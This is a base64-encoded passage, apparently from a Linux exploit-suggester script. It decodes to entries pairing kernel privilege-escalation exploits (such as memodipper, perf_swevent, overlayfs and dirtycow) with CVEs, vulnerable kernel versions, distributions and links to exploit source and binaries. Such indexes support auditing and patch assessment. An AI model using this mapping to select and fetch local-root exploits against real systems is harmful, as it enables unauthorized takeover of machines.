TI0LWdlbmVyaWN9ClJhbms6IDEKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjQxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvY2FuX2JjbQpleHBsb2l0LWRiOiAxNDgxNApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEwLTM5MDRdJHt0eHRyc3R9IHJkcwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjMwLHZlcjwyLjYuMzcKVGFnczogZGViaWFuPTYuMHtrZXJuZWw6Mi42LigzMXwzMnwzNHwzNSktKDF8dHJ1bmspLWFtZDY0fSx1YnVudHU9MTAuMTB8OS4xMCxmZWRvcmE9MTN7a2VybmVsOjIuNi4zMy4zLTg1LmZjMTMuaTY4Ni5QQUV9LHVidW50dT0xMC4wNHtrZXJuZWw6Mi42LjMyLSgyMXwyNCktZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cuc2VjdXJpdHlmb2N1cy5jb20vYXJjaGl2ZS8xLzUxNDM3OQpzcmMtdXJsOiBodHRwOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDEwMTAyMDA0NDA0OC9odHRwOi8vd3d3LnZzZWN1cml0eS5jb20vZG93bmxvYWQvdG9vbHMvbGludXgtcmRzLWV4cGxvaXQuYwpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2NDEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9yZHMKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjQxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvcmRzNjQKZXhwbG9pdC1kYjogMTUyODUKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC0zODQ4LENWRS0yMDEwLTM4NTAsQ1ZFLTIwMTAtNDA3M10ke3R4dHJzdH0gaGFsZl9uZWxzb24KUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjM2ClRhZ3M6IHVidW50dT0oMTAuMDR8OS4xMCl7a2VybmVsOjIuNi4oMzF8MzIpLSgxNHwyMSktc2VydmVyfQpSYW5rOiAxCmJpbi11cmw6IGh0dHA6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvaGFsZi1uZWxzb24zCmV4cGxvaXQtZGI6IDE3Nzg3CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bTi9BXSR7dHh0cnN0fSBjYXBzX3RvX3Jvb3QKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4zNCx2ZXI8PTIuNi4zNix4ODYKVGFnczogdWJ1bnR1PTEwLjEwClJhbms6IDEKZXhwbG9pdC1kYjogMTU5MTYKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtOL0FdJHt0eHRyc3R9IGNhcHNfdG9fcm9vdCAyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMzQsdmVyPD0yLjYuMzYKVGFnczogdWJ1bnR1PTEwLjEwClJhbms6IDEKZXhwbG9pdC1kYjogMTU5NDQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC00MzQ3XSR7dHh0cnN0fSBhbWVyaWNhbi1zaWduLWxhbmd1YWdlClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zNgpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDE1Nzc0CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTAtMzQzN10ke3R4dHJzdH0gcGt0Y2R2ZApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzYKVGFnczogdWJ1bnR1PTEwLjA0ClJhbms6IDEKZXhwbG9pdC1kYjogMTUxNTAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC0zMDgxXSR7dHh0cnN0fSB2aWRlbzRsaW51eApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzMKVGFnczogUkhFTD01ClJhbms6IDEKZXhwbG9pdC1kYjogMTUwMjQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMi0wMDU2XSR7dHh0cnN0fSBtZW1vZGlwcGVyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMCx2ZXI8PTMuMS4wClRhZ3M6IHVidW50dT0oMTAuMDR8MTEuMTApe2tlcm5lbDozLjAuMC0xMi0oZ2VuZXJpY3xzZXJ2ZXIpfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXQuengyYzQuY29tL0NWRS0yMDEyLTAwNTYvYWJvdXQvCnNyYy11cmw6IGh0dHBzOi8vZ2l0Lnp4MmM0LmNvbS9DVkUtMjAxMi0wMDU2L3BsYWluL21lbXBvZGlwcGVyLmMKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvbWVtb2RpcHBlcgpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2MzEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9tZW1vZGlwcGVyNjQKZXhwbG9pdC1kYjogMTg0MTEKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMi0wMDU2LENWRS0yMDEwLTM4NDksQ1ZFLTIwMTAtMzg1MF0ke3R4dHJzdH0gZnVsbC1uZWxzb24KUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjM2ClRhZ3M6IHVidW50dT0oOS4xMHwxMC4xMCl7a2VybmVsOjIuNi4oMzF8MzUpLSgxNHwxOSktKHNlcnZlcnxnZW5lcmljKX0sdWJ1bnR1PTEwLjA0e2tlcm5lbDoyLjYuMzItKDIxfDI0KS1zZXJ2ZXJ9ClJhbms6IDEKc3JjLXVybDogaHR0cDovL3Z1bG5mYWN0b3J5Lm9yZy9leHBsb2l0cy9mdWxsLW5lbHNvbi5jCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjYzMS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL2Z1bGwtbmVsc29uCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjYzMS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL2Z1bGwtbmVsc29uNjQKZXhwbG9pdC1kYjogMTU3MDQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMy0xODU4XSR7dHh0cnN0fSBDTE9ORV9ORVdVU0VSfENMT05FX0ZTClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPTMuOCxDT05GSUdfVVNFUl9OUz15ClRhZ3M6IApSYW5rOiAxCnNyYy11cmw6IGh0dHA6Ly9zdGVhbHRoLm9wZW53YWxsLm5ldC94U3BvcnRzL2Nsb3duLW5ld3VzZXIuYwphbmFseXNpcy11cmw6IGh0dHBzOi8vbHduLm5ldC9BcnRpY2xlcy81NDMyNzMvCmV4cGxvaXQtZGI6IDM4MzkwCmF1dGhvcjogU2ViYXN0aWFuIEtyYWhtZXIKQ29tbWVudHM6IENPTkZJR19VU0VSX05TIG5lZWRzIHRvIGJlIGVuYWJsZWQgCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTMtMjA5NF0ke3R4dHJzdH0gcGVyZl9zd2V2ZW50ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMzIsdmVyPDMuOC45LHg4Nl82NApUYWdzOiBSSEVMPTYsdWJ1bnR1PTEyLjA0e2tlcm5lbDozLjIuMC0oMjN8MjkpLWdlbmVyaWN9LGZlZG9yYT0xNntrZXJuZWw6My4xLjAtNy5mYzE2Lng4Nl82NH0sZmVkb3JhPTE3e2tlcm5lbDozLjMuNC01LmZjMTcueDg2XzY0fSxkZWJpYW49N3trZXJuZWw6My4yLjAtNC1hbWQ2NH0KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly90aW1ldG9ibGVlZC5jb20vYS1jbG9zZXItbG9vay1hdC1hLXJlY2VudC1wcml2aWxlZ2UtZXNjYWxhdGlvbi1idWctaW4tbGludXgtY3ZlLTIwMTMtMjA5NC8KYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvcGVyZl9zd2V2ZW50CmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjYzMS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL3BlcmZfc3dldmVudDY0CmV4cGxvaXQtZGI6IDI2MTMxCmF1dGhvcjogQW5kcmVhICdzb3JibycgQml0dGF1CkNvbW1lbnRzOiBObyBTTUVQL1NNQVAgYnlwYXNzCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTMtMjA5NF0ke3R4dHJzdH0gcGVyZl9zd2V2ZW50IDIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4zMix2ZXI8My44LjkseDg2XzY0ClRhZ3M6IHVidW50dT0xMi4wNHtrZXJuZWw6My4oMnw1KS4wLSgyM3wyOSktZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly90aW1ldG9ibGVlZC5jb20vYS1jbG9zZXItbG9vay1hdC1hLXJlY2VudC1wcml2aWxlZ2UtZXNjYWxhdGlvbi1idWctaW4tbGludXgtY3ZlLTIwMTMtMjA5NC8Kc3JjLXVybDogaHR0cHM6Ly9jeXNlY2xhYnMuY29tL2V4cGxvaXRzL3ZuaWtfdjEuYwpleHBsb2l0LWRiOiAzMzU4OQphdXRob3I6IFZpdGFseSAndm5paycgTmlrb2xlbmtvCkNvbW1lbnRzOiBObyBTTUVQL1NNQVAgYnlwYXNzCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTMtMDI2OF0ke3R4dHJzdH0gbXNyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTgsdmVyPDMuNy42ClRhZ3M6IApSYW5rOiAxCmV4cGxvaXQtZGI6IDI3Mjk3CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTMtMTk1OV0ke3R4dHJzdH0gdXNlcm5zX3Jvb3Rfc3Bsb2l0ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMSx2ZXI8My44LjkKVGFnczogClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxMy8wNC8yOS8xCmV4cGxvaXQtZGI6IDI1NDUwCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTMtMjA5NF0ke3R4dHJzdH0gc2VtdGV4ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMzIsdmVyPDMuOC45ClRhZ3M6IFJIRUw9NgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3RpbWV0b2JsZWVkLmNvbS9hLWNsb3Nlci1sb29rLWF0LWEtcmVjZW50LXByaXZpbGVnZS1lc2NhbGF0aW9uLWJ1Zy1pbi1saW51eC1jdmUtMjAxMy0yMDk0LwpleHBsb2l0LWRiOiAyNTQ0NApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTAwMzhdJHt0eHRyc3R9IHRpbWVvdXRwd24KUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuNC4wLHZlcjw9My4xMy4xLENPTkZJR19YODZfWDMyPXkKVGFnczogdWJ1bnR1PTEzLjEwClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vYmxvZy5pbmNsdWRlc2VjdXJpdHkuY29tLzIwMTQvMDMvZXhwbG9pdC1DVkUtMjAxNC0wMDM4LXgzMi1yZWN2bW1zZy1rZXJuZWwtdnVsbmVyYWJsaXR5Lmh0bWwKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvdGltZW91dHB3bjY0CmV4cGxvaXQtZGI6IDMxMzQ2CkNvbW1lbnRzOiBDT05GSUdfWDg2X1gzMiBuZWVkcyB0byBiZSBlbmFibGVkCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtMDAzOF0ke3R4dHJzdH0gdGltZW91dHB3biAyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjQuMCx2ZXI8PTMuMTMuMSxDT05GSUdfWDg2X1gzMj15ClRhZ3M6IHVidW50dT0oMTMuMDR8MTMuMTApe2tlcm5lbDozLig4fDExKS4wLSgxMnwxNXwxOSktZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9ibG9nLmluY2x1ZGVzZWN1cml0eS5jb20vMjAxNC8wMy9leHBsb2l0LUNWRS0yMDE0LTAwMzgteDMyLXJlY3ZtbXNnLWtlcm5lbC12dWxuZXJhYmxpdHkuaHRtbApleHBsb2l0LWRiOiAzMTM0NwpDb21tZW50czogQ09ORklHX1g4Nl9YMzIgbmVlZHMgdG8gYmUgZW5hYmxlZApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTAxOTZdJHt0eHRyc3R9IHJhd21vZGVQVFkKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4zMSx2ZXI8PTMuMTQuMwpUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2Jsb2cuaW5jbHVkZXNlY3VyaXR5LmNvbS8yMDE0LzA2L2V4cGxvaXQtd2Fsa3Rocm91Z2gtY3ZlLTIwMTQtMDE5Ni1wdHkta2VybmVsLXJhY2UtY29uZGl0aW9uLmh0bWwKZXhwbG9pdC1kYjogMzM1MTYKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNC0yODUxXSR7dHh0cnN0fSB1c2UtYWZ0ZXItZnJlZSBpbiBwaW5nX2luaXRfc29jaygpICR7YmxkYmx1fShEb1MpJHt0eHRyc3R9ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMSx2ZXI8PTMuMTQKVGFnczogClJhbms6IDAKYW5hbHlzaXMtdXJsOiBodHRwczovL2N5c2VjbGFicy5jb20vcGFnZT9uPTAyMDEyMDE2CmV4cGxvaXQtZGI6IDMyOTI2CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtNDAxNF0ke3R4dHJzdH0gaW5vZGVfY2FwYWJsZQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4wLjEsdmVyPD0zLjEzClRhZ3M6IHVidW50dT0xMi4wNApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTQvMDYvMTAvNApleHBsb2l0LWRiOiAzMzgyNApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTQ2OTldJHt0eHRyc3R9IHB0cmFjZS9zeXNyZXQKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMC4xLHZlcjw9My44ClRhZ3M6IHVidW50dT0xMi4wNApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTQvMDcvMDgvMTYKZXhwbG9pdC1kYjogMzQxMzQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNC00OTQzXSR7dHh0cnN0fSBQUFBvTDJUUCAke2JsZGJsdX0oRG9TKSR7dHh0cnN0fQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4yLHZlcjw9My4xNS42ClRhZ3M6IApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9jeXNlY2xhYnMuY29tL3BhZ2U/bj0wMTEwMjAxNQpleHBsb2l0LWRiOiAzNjI2NwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTUyMDddJHt0eHRyc3R9IGZ1c2Vfc3VpZApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4wLjEsdmVyPD0zLjE2LjEKVGFnczogClJhbms6IDEKZXhwbG9pdC1kYjogMzQ5MjMKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS05MzIyXSR7dHh0cnN0fSBCYWRJUkVUClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMSx2ZXI8My4xNy41LHg4Nl82NApUYWdzOiBSSEVMPD03LGZlZG9yYT0yMApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2xhYnMuYnJvbWl1bS5jb20vMjAxNS8wMi8wMi9leHBsb2l0aW5nLWJhZGlyZXQtdnVsbmVyYWJpbGl0eS1jdmUtMjAxNC05MzIyLWxpbnV4LWtlcm5lbC1wcml2aWxlZ2UtZXNjYWxhdGlvbi8Kc3JjLXVybDogaHR0cDovL3NpdGUucGkzLmNvbS5wbC9leHAvcF9jdmUtMjAxNC05MzIyLnRhci5negpleHBsb2l0LWRiOgphdXRob3I6IFJhZmFsICduM3JnYWwnIFdvanRjenVrICYgQWRhbSAncGkzJyBaYWJyb2NraQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTMyOTBdJHt0eHRyc3R9IGVzcGZpeDY0X05NSQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4xMyx2ZXI8NC4xLjYseDg2XzY0ClRhZ3M6IApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTUvMDgvMDQvOApleHBsb2l0LWRiOiAzNzcyMgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W04vQV0ke3R4dHJzdH0gYmx1ZXRvb3RoClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPD0yLjYuMTEKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiA0NzU2CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtMTMyOF0ke3R4dHJzdH0gb3ZlcmxheWZzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjEzLjAsdmVyPD0zLjE5LjAKVGFnczogdWJ1bnR1PSgxMi4wNHwxNC4wNCl7a2VybmVsOjMuMTMuMC0oMnwzfDR8NSkqLWdlbmVyaWN9LHVidW50dT0oMTQuMTB8MTUuMDQpe2tlcm5lbDozLigxM3wxNikuMC0qLWdlbmVyaWN9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vc2VjbGlzdHMub3JnL29zcy1zZWMvMjAxNS9xMi83MTcKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvb2ZzXzMyCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjYzMS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL29mc182NApleHBsb2l0LWRiOiAzNzI5MgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTg2NjBdJHt0eHRyc3R9IG92ZXJsYXlmcyAob3ZsX3NldGF0dHIpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMCx2ZXI8PTQuMy4zClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3LmhhbGZkb2cubmV0L1NlY3VyaXR5LzIwMTUvVXNlck5hbWVzcGFjZU92ZXJsYXlmc1NldHVpZFdyaXRlRXhlYy8KZXhwbG9pdC1kYjogMzkyMzAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS04NjYwXSR7dHh0cnN0fSBvdmVybGF5ZnMgKG92bF9zZXRhdHRyKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4wLjAsdmVyPD00LjMuMwpUYWdzOiB1YnVudHU9KDE0LjA0fDE1LjEwKXtrZXJuZWw6NC4yLjAtKDE4fDE5fDIwfDIxfDIyKS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5oYWxmZG9nLm5ldC9TZWN1cml0eS8yMDE1L1VzZXJOYW1lc3BhY2VPdmVybGF5ZnNTZXR1aWRXcml0ZUV4ZWMvCmV4cGxvaXQtZGI6IDM5MTY2CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtMDcyOF0ke3R4dHJzdH0ga2V5cmluZwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4xMCx2ZXI8NC40LjEKVGFnczoKUmFuazogMAphbmFseXNpcy11cmw6IGh0dHA6Ly9wZXJjZXB0aW9uLXBvaW50LmlvLzIwMTYvMDEvMTQvYW5hbHlzaXMtYW5kLWV4cGxvaXRhdGlvbi1vZi1hLWxpbnV4LWtlcm5lbC12dWxuZXJhYmlsaXR5LWN2ZS0yMDE2LTA3MjgvCmV4cGxvaXQtZGI6IDQwMDAzCkNvbW1lbnRzOiBFeHBsb2l0IHRha2VzIGFib3V0IH4zMCBtaW51dGVzIHRvIHJ1bi4gRXhwbG9pdCBpcyBub3QgcmVsaWFibGUsIHNlZTogaHR0cHM6Ly9jeXNlY2xhYnMuY29tL2Jsb2cvY3ZlLTIwMTYtMDcyOC1wb2Mtbm90LXdvcmtpbmcKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi0yMzg0XSR7dHh0cnN0fSB1c2ItbWlkaQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4wLjAsdmVyPD00LjQuOApUYWdzOiB1YnVudHU9MTQuMDQsZmVkb3JhPTIyClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3hhaXJ5LmdpdGh1Yi5pby9ibG9nLzIwMTYvY3ZlLTIwMTYtMjM4NApzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20veGFpcnkva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNi0yMzg0L3BvYy5jCmV4cGxvaXQtZGI6IDQxOTk5CkNvbW1lbnRzOiBSZXF1aXJlcyBhYmlsaXR5IHRvIHBsdWcgaW4gYSBtYWxpY2lvdXMgVVNCIGRldmljZSBhbmQgdG8gZXhlY3V0ZSBhIG1hbGljaW91cyBiaW5hcnkgYXMgYSBub24tcHJpdmlsZWdlZCB1c2VyCmF1dGhvcjogQW5kcmV5ICd4YWlyeScgS29ub3ZhbG92CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtNDk5N10ke3R4dHJzdH0gdGFyZ2V0X29mZnNldApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49NC40LjAsdmVyPD00LjQuMCxjbWQ6Z3JlcCAtcWkgaXBfdGFibGVzIC9wcm9jL21vZHVsZXMKVGFnczogdWJ1bnR1PTE2LjA0e2tlcm5lbDo0LjQuMC0yMS1nZW5lcmljfQpSYW5rOiAxCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9vZmZlbnNpdmUtc2VjdXJpdHkvZXhwbG9pdC1kYXRhYmFzZS1iaW4tc3Bsb2l0cy9yYXcvbWFzdGVyL2Jpbi1zcGxvaXRzLzQwMDUzLnppcApDb21tZW50czogaXBfdGFibGVzLmtvIG5lZWRzIHRvIGJlIGxvYWRlZApleHBsb2l0LWRiOiA0MDA0OQphdXRob3I6IFZpdGFseSAndm5paycgTmlrb2xlbmtvCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtNDU1N10ke3R4dHJzdH0gZG91YmxlLWZkcHV0KCkKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQuNCx2ZXI8NC41LjUsQ09ORklHX0JQRl9TWVNDQUxMPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfYnBmX2Rpc2FibGVkIT0xClRhZ3M6IHVidW50dT0xNi4wNHtrZXJuZWw6NC40LjAtMjEtZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vYnVncy5jaHJvbWl1bS5vcmcvcC9wcm9qZWN0LXplcm8vaXNzdWVzL2RldGFpbD9pZD04MDgKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL29mZmVuc2l2ZS1zZWN1cml0eS9leHBsb2l0LWRhdGFiYXNlLWJpbi1zcGxvaXRzL3Jhdy9tYXN0ZXIvYmluLXNwbG9pdHMvMzk3NzIuemlwCkNvbW1lbnRzOiBDT05GSUdfQlBGX1NZU0NBTEwgbmVlZHMgdG8gYmUgc2V0ICYmIGtlcm5lbC51bnByaXZpbGVnZWRfYnBmX2Rpc2FibGVkICE9IDEKZXhwbG9pdC1kYjogNDA3NTkKYXV0aG9yOiBKYW5uIEhvcm4KRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi01MTk1XSR7dHh0cnN0fSBkaXJ0eWNvdwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjIyLHZlcjw9NC44LjMKVGFnczogZGViaWFuPTd8OCxSSEVMPTV7a2VybmVsOjIuNi4oMTh8MjR8MzMpLSp9LFJIRUw9NntrZXJuZWw6Mi42LjMyLSp8My4oMHwyfDZ8OHwxMCkuKnwyLjYuMzMuOS1ydDMxfSxSSEVMPTd7a2VybmVsOjMuMTAuMC0qfDQuMi4wLTAuMjEuZWw3fSx1YnVudHU9MTYuMDR8MTQuMDR8MTIuMD